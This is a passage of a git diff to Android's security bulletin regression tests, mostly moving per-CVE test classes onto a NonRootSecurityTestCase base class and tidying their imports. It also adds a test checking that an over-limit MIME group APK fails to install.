import android.platform.test.annotations.AsbSecurityTest;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Before;
@@ -28,7 +29,7 @@ import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411210 extends SecurityTestCase {
+public final class Bug_183411210 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183411210";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183411210.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
index df7556c45b3..bbcd64c16fd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411279.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Before;
+import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183411279 extends SecurityTestCase {
+public final class Bug_183411279 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183411279";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183411279.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 75bbd0ac298..f0b6568d57e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@ import org.junit.Test;
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183613671 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
index 73cfdb9762d..8045838cfb1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183794206.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Before;
+import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183794206 extends SecurityTestCase {
+public final class Bug_183794206 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183794206";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183794206.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index adf6103043a..7b183b387d9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@ import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
+public final class Bug_183963253 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index 84ae1149b3c..5580acb598f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -15,15 +15,19 @@
*/
package android.security.cts;
+
import static org.junit.Assume.assumeFalse;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class Bug_187957589 extends SecurityTestCase {
+public class Bug_187957589 extends NonRootSecurityTestCase {
/**
* b/187957589
* Vulnerability Behaviour: out of bounds write in noteAtomLogged for negative atom ids.
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
new file mode 100644
index 00000000000..0723e538724
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_237291548.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.junit.Assert.assertThat;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class Bug_237291548 extends NonRootSecurityTestCase {
+
+ private static final String TEST_PKG = "android.security.cts.BUG_237291548";
+ private static final String TEST_CLASS = TEST_PKG + ".DeviceTest";
+ private static final String TEST_APP = "BUG-237291548.apk";
+ private static final String TEST_FAIL_INSTALL_APP = "BUG-237291548-FAIL-INSTALL.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ super.setUp();
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedGroupLimit");
+ runDeviceTests(TEST_PKG, TEST_CLASS, "testExceedMimeLengthLimit");
+ }
+
+ @Test(expected = TargetSetupError.class)
+ @AsbSecurityTest(cveBugId = 237291548)
+ public void testInvalidApkFails() throws Exception {
+ try {
+ installPackage(TEST_FAIL_INSTALL_APP);
+ } catch (TargetSetupError e) {
+ assertThat(e.getMessage(),
+ containsString("Max limit on number of MIME Groups reached"));
+ throw e;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index 4ee8a5e1833..a4b8506aed2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -15,15 +15,20 @@
*/
package android.security.cts;
+
+import static org.junit.Assume.assumeFalse;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.compatibility.common.util.CrashUtils;
-import static org.junit.Assume.assumeFalse;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_2182 extends SecurityTestCase {
+public class CVE_2016_2182 extends NonRootSecurityTestCase {
/**
* b/32096880
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
index 462864bf719..21057e216ab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2016_8332 extends SecurityTestCase {
+public class CVE_2016_8332 extends NonRootSecurityTestCase {
/**
* b/37761553
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
index 02675513dc3..91766f8ee06 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -15,13 +15,17 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0684 extends SecurityTestCase {
+public class CVE_2017_0684 extends NonRootSecurityTestCase {
/**
* b/35421151
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
index 4f08b711fda..397078d08ff 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -15,13 +15,17 @@
*/
package android.security.cts;
+
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_0726 extends SecurityTestCase {
+public class CVE_2017_0726 extends NonRootSecurityTestCase {
/**
* b/36389123
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
index 62c72f2067e..bd69afb4e57 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -15,16 +15,20 @@
*/
package android.security.cts;
-import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
import static org.junit.Assume.*;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2017_13194 extends SecurityTestCase {
+public class CVE_2017_13194 extends NonRootSecurityTestCase {
/**
* b/64710201
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
index 0990cd448ec..f67c556e4df 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9410.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9410 extends SecurityTestCase {
+public class CVE_2018_9410 extends NonRootSecurityTestCase {
/**
* b/77822336
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
index df360d0d1d0..d58b3c39991 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9537.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9537 extends SecurityTestCase {
+public class CVE_2018_9537 extends NonRootSecurityTestCase {
/**
* b/112891564
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
index 1bb5e0a4679..f4a91b43485 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9547.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9547 extends SecurityTestCase {
+public class CVE_2018_9547 extends NonRootSecurityTestCase {
/**
* b/114223584
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
index bf2b0d1d3f9..1db523b4d1a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9549.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.runner.RunWith;
+
import org.junit.Test;
+import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9549 extends SecurityTestCase {
+public class CVE_2018_9549 extends NonRootSecurityTestCase {
/**
* b/112160868
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index a4d088dfdc6..fdf85b77234 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -21,6 +21,7 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -29,7 +30,7 @@ import org.junit.runner.RunWith;
import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9558 extends SecurityTestCase {
+public class CVE_2018_9558 extends NonRootSecurityTestCase {
/**
* b/112161557
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
index ceeb117a52b..d8027c08248 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9561.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9561 extends SecurityTestCase {
+public class CVE_2018_9561 extends NonRootSecurityTestCase {
/**
* b/111660010
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
index 09d391ed758..22f1c97aa3d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9563.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9563 extends SecurityTestCase {
+public class CVE_2018_9563 extends NonRootSecurityTestCase {
/**
* b/114237888
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
index 6e4d588205a..cafea318d8c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9564.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9564 extends SecurityTestCase {
+public class CVE_2018_9564 extends NonRootSecurityTestCase {
/**
* b/114238578
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
index ab18f52e21f..02c470b6a7d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9584.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9584 extends SecurityTestCase {
+public class CVE_2018_9584 extends NonRootSecurityTestCase {
/**
* b/114047681
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
index 4f3a3bf1e66..8c24f9d51bf 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9585.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9585 extends SecurityTestCase {
+public class CVE_2018_9585 extends NonRootSecurityTestCase {
/**
* b/117554809
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
index e899b7ae9e9..fb300c4b9bd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9593.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9593 extends SecurityTestCase {
+public class CVE_2018_9593 extends NonRootSecurityTestCase {
/**
* b/116722267
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
index d6e8fb59c0e..d196681d95b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9594.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2018_9594 extends SecurityTestCase {
+public class CVE_2018_9594 extends NonRootSecurityTestCase {
/**
* b/116791157
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
index 826db694646..6f4c33bfcdd 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2007.java
@@ -17,12 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2007 extends SecurityTestCase {
+public class CVE_2019_2007 extends NonRootSecurityTestCase {
/**
* b/120789744
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
index 373703e3171..9fe5cb4ff8f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2011.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.device.ITestDevice;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2011 extends SecurityTestCase {
+public class CVE_2019_2011 extends NonRootSecurityTestCase {
/**
* b/120084106
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
index 181d660df48..1b4a4a7d364 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2012 extends SecurityTestCase {
+public class CVE_2019_2012 extends NonRootSecurityTestCase {
/**
* b/120497437
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
index 0ac72b2b52a..caaa463ab32 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2013.java
@@ -17,13 +17,15 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.tradefed.device.ITestDevice;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2013 extends SecurityTestCase {
+public class CVE_2019_2013 extends NonRootSecurityTestCase {
/**
* b/120497583
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
index e6863ac86a7..b54d767a91b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2014.java
@@ -17,13 +17,16 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2014 extends SecurityTestCase {
+public class CVE_2019_2014 extends NonRootSecurityTestCase {
/**
* b/120499324
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
index 1a798c2199e..bf46c60e611 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2015.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2015 extends SecurityTestCase {
+public class CVE_2019_2015 extends NonRootSecurityTestCase {
/**
* b/120503926
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
index b7c2ea8fab3..b1a1b54581f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -20,15 +20,16 @@ import android.platform.test.annotations.AsbSecurityTest;
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-
-import org.junit.runner.RunWith;
import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2019_2017 extends SecurityTestCase {
+public class CVE_2019_2017 extends NonRootSecurityTestCase {
/**
* b/121035711
